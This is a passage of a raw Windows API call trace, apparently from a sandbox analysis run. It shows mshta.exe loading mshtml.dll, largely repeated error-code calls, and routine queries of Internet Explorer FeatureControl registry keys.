(dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.628] GetLastError () returned 0x0 [0028.628] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.629] GetLastError () returned 0x0 [0028.629] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.630] SetLastError (dwErrCode=0x0) [0028.630] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.631] SetLastError (dwErrCode=0x0) [0028.631] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x264) returned 0x551610 [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.632] SetLastError (dwErrCode=0x0) [0028.632] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.633] GetLastError () returned 0x0 [0028.633] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.634] GetLastError () returned 0x0 [0028.634] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.635] GetLastError () returned 0x0 [0028.635] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.636] GetLastError () returned 0x0 [0028.636] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.637] SetLastError (dwErrCode=0x0) [0028.637] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.638] SetLastError (dwErrCode=0x0) [0028.638] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.639] SetLastError (dwErrCode=0x0) [0028.639] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.640] SetLastError (dwErrCode=0x0) [0028.640] GetLastError () returned 0x0 [0028.641] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5fc) returned 0x551880 [0028.641] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x550e78 | out: hHeap=0x550000) returned 1 [0028.642] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd82aef) returned 0x0 [0028.642] GetLastError () returned 0x0 [0028.642] GetVersion () returned 0x1db10106 [0028.642] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0028.642] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0028.642] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0028.642] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x105) returned 0x551e88 [0028.642] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x105) returned 0x550e78 [0028.642] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0x40fdac | out: phkResult=0x40fdac*=0x42) returned 0x0 [0028.643] RegQueryValueExA (in: hKey=0x42, lpValueName=0x0, lpReserved=0x0, lpType=0x40fda4, lpData=0x551e88, lpcbData=0x40fda0*=0x105 | out: lpType=0x40fda4*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0x40fda0*=0x1f) returned 0x0 [0028.643] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x73350000 [0029.975] GetProcessHeap () returned 0x750000 [0029.975] GetVersion () returned 0x1db10106 [0029.976] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0029.976] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0029.976] HeapSetInformation (HeapHandle=0x750000, HeapInformationClass=0x0, HeapInformation=0x40fa38, HeapInformationLength=0x4) returned 1 [0029.983] malloc (_Size=0x80) returned 0x1c2640 [0029.983] GetVersion () returned 0x1db10106 [0029.984] GetVersionExA (in: lpVersionInformation=0x40f910*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x40f910*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0029.984] __dllonexit () returned 0x7357717c [0029.984] __dllonexit () returned 0x735773bd [0029.984] GetProcessHeap () returned 0x750000 [0029.984] __dllonexit () returned 0x73577435 [0029.985] __dllonexit () returned 0x73576e75 [0029.985] __dllonexit () returned 0x73576ff5 [0029.985] __dllonexit () returned 0x735771be [0029.985] __dllonexit () returned 0x735772e2 [0029.985] __dllonexit () returned 0x73577320 [0029.985] __dllonexit () returned 0x73577370 [0029.985] __dllonexit () returned 0x73576e53 [0029.985] __dllonexit () returned 0x73576e66 [0029.985] __dllonexit () returned 0x73576a3e [0029.985] __dllonexit () returned 0x73576a46 [0029.985] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc053 [0029.986] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc053 [0029.986] __dllonexit () returned 0x73576a60 [0029.986] __dllonexit () returned 0x73576a7a [0029.986] __dllonexit () returned 0x73576a93 [0029.986] __dllonexit () returned 0x73576aa7 [0029.986] __dllonexit () returned 0x73576ac1 [0029.986] __dllonexit () returned 0x735771f1 [0029.986] __dllonexit () returned 0x73576ad0 [0029.986] __dllonexit () returned 0x73576adf [0029.986] __dllonexit () returned 0x73576aee [0029.986] __dllonexit () returned 0x73576afd [0029.986] __dllonexit () returned 0x73576b0d [0029.986] __dllonexit () returned 0x7357720c [0029.986] __dllonexit () returned 0x73576b1c [0029.987] __dllonexit () returned 0x73576b2f [0029.987] __dllonexit () returned 0x73576b49 [0029.987] __dllonexit () returned 0x73576b58 [0029.987] __dllonexit () returned 0x73576b67 [0029.987] __dllonexit () returned 0x73576b76 [0029.987] __dllonexit () returned 0x73576b85 [0029.987] __dllonexit () returned 0x73576b94 [0029.987] __dllonexit () returned 0x73576ba3 [0029.987] __dllonexit () returned 0x73576bb2 [0029.987] __dllonexit () returned 0x73576bc1 [0029.987] __dllonexit () returned 0x73576bd0 [0029.987] __dllonexit () returned 0x73576bdf [0029.987] __dllonexit () returned 0x73576bee [0029.987] __dllonexit () returned 0x73576bfd [0029.987] __dllonexit () returned 0x73576c0c [0029.988] __dllonexit () returned 0x73576c1b [0029.988] __dllonexit () returned 0x73576c2a [0029.988] __dllonexit () returned 0x73576c3d [0029.988] __dllonexit () returned 0x73576c4c [0029.988] __dllonexit () returned 0x73576c5b [0029.988] __dllonexit () returned 0x73576c75 [0029.988] __dllonexit () returned 0x73576c8f [0029.988] __dllonexit () returned 0x73576ca9 [0029.988] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0029.988] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0029.988] __dllonexit () returned 0x73576cb1 [0029.988] __dllonexit () returned 0x73577294 [0029.989] __dllonexit () returned 0x73576ccb [0029.989] __dllonexit () returned 0x73576cd3 [0029.989] __dllonexit () returned 0x73576ce2 [0029.989] __dllonexit () returned 0x73576cf1 [0029.989] __dllonexit () returned 0x73576d00 [0029.989] __dllonexit () returned 0x7356f72d [0029.989] __dllonexit () returned 0x73576d43 [0029.989] __dllonexit () returned 0x73576d56 [0029.989] __dllonexit () returned 0x7356f095 [0029.989] __dllonexit () returned 0x73576d65 [0029.989] __dllonexit () returned 0x73576d78 [0029.989] __dllonexit () returned 0x73576d87 [0029.989] __dllonexit () returned 0x73576d9a [0029.990] __dllonexit () returned 0x73572256 [0029.990] __dllonexit () returned 0x7357679d [0029.990] __dllonexit () returned 0x73576dd5 [0029.990] __dllonexit () returned 0x73576df8 [0029.990] __dllonexit () returned 0x73576e07 [0029.990] __dllonexit () returned 0x735776cb [0029.990] __dllonexit () returned 0x73576e1a [0029.990] __dllonexit () returned 0x735772aa [0029.990] __dllonexit () returned 0x735772cb [0029.990] __dllonexit () returned 0x73576e3a [0029.990] GetCurrentThreadId () returned 0x10c [0029.990] CoCreateGuid (in: pguid=0x7388ad20 | out: pguid=0x7388ad20*(Data1=0x784e025f, Data2=0xa75, Data3=0x4215, Data4=([0]=0xb5, [1]=0x41, [2]=0xcd, [3]=0x6c, [4]=0x3f, [5]=0x3e, [6]=0x74, [7]=0x9e))) returned 0x0 [0029.992] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x200) returned 0x76e830 [0029.992] __dllonexit () returned 0x7357733d [0029.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40f3b0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0029.992] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0029.992] StrCmpICW (pszStr1="mshta.exe", pszStr2="iexplore.exe") returned 4 [0029.992] StrCmpICW (pszStr1="mshta.exe", pszStr2="explorer.exe") returned 8 [0029.992] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x76ea38 [0029.992] SHRegGetValueW () returned 0x2 [0029.992] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5fc | out: phkResult=0x40f5fc*=0x0) returned 0x2 [0029.993] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f8 | out: phkResult=0x40f5f8*=0x0) returned 0x2 [0029.993] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x94) returned 0x0 [0029.993] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x98) returned 0x0 [0030.005] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.017] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.017] RegCloseKey (hKey=0x0) returned 0x6 [0030.017] RegCloseKey (hKey=0x0) returned 0x6 [0030.017] RegCloseKey (hKey=0x94) returned 0x0 [0030.017] RegCloseKey (hKey=0x98) returned 0x0 [0030.017] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.017] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x94) returned 0x0 [0030.017] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.017] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.017] RegCloseKey (hKey=0x0) returned 0x6 [0030.017] RegCloseKey (hKey=0x0) returned 0x6 [0030.017] RegCloseKey (hKey=0x98) returned 0x0 [0030.018] RegCloseKey (hKey=0x94) returned 0x0 [0030.018] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x94) returned 0x0 [0030.018] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x98) returned 0x0 [0030.018] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.018] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.018] RegCloseKey (hKey=0x0) returned 0x6 [0030.018] RegCloseKey (hKey=0x0) returned 0x6 [0030.018] RegCloseKey (hKey=0x94) returned 0x0 [0030.018] RegCloseKey (hKey=0x98) returned 0x0 [0030.018] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.018] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x94) returned 0x0 [0030.018] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.018] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x9c) returned 0x0 [0030.018] SHRegGetValueW () returned 0x2 [0030.019] SHRegGetValueW () returned 0x2 [0030.019] RegCloseKey (hKey=0x9c) returned 0x0 [0030.019] RegCloseKey (hKey=0x0) returned 0x6 [0030.019] RegCloseKey (hKey=0x0) returned 0x6 [0030.019] RegCloseKey (hKey=0x98) returned 0x0 [0030.019] RegCloseKey (hKey=0x94) returned 0x0 [0030.019] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x94) returned 0x0 [0030.019] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x98) returned 0x0 [0030.019] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.019] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.019] RegCloseKey (hKey=0x0) returned 0x6 [0030.019] RegCloseKey (hKey=0x0) returned 0x6 [0030.019] RegCloseKey (hKey=0x94) returned 0x0 [0030.019] RegCloseKey (hKey=0x98) returned 0x0 [0030.019] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x98) returned 0x0 [0030.019] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x94) returned 0x0 [0030.019] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.020] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.020] RegCloseKey (hKey=0x0) returned 0x6 [0030.020] RegCloseKey (hKey=0x0) returned 0x6 [0030.020] RegCloseKey (hKey=0x98) returned 0x0 [0030.020] RegCloseKey (hKey=0x94) returned 0x0 [0030.020] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 | out: phkResult=0x40f5f0*=0x94) returned 0x0 [0030.020] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f4 | out: phkResult=0x40f5f4*=0x98) returned 0x0 [0030.020] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.020] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5b0 | out: phkResult=0x40f5b0*=0x0) returned 0x2 [0030.020] RegCloseKey (hKey=0x0) returned 0x6 [0030.020] RegCloseKey (hKey=0x0) returned 0x6 [0030.020] RegCloseKey (hKey=0x94) returned 0x0 [0030.020] RegCloseKey (hKey=0x98) returned 0x0 [0030.020] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f5f0 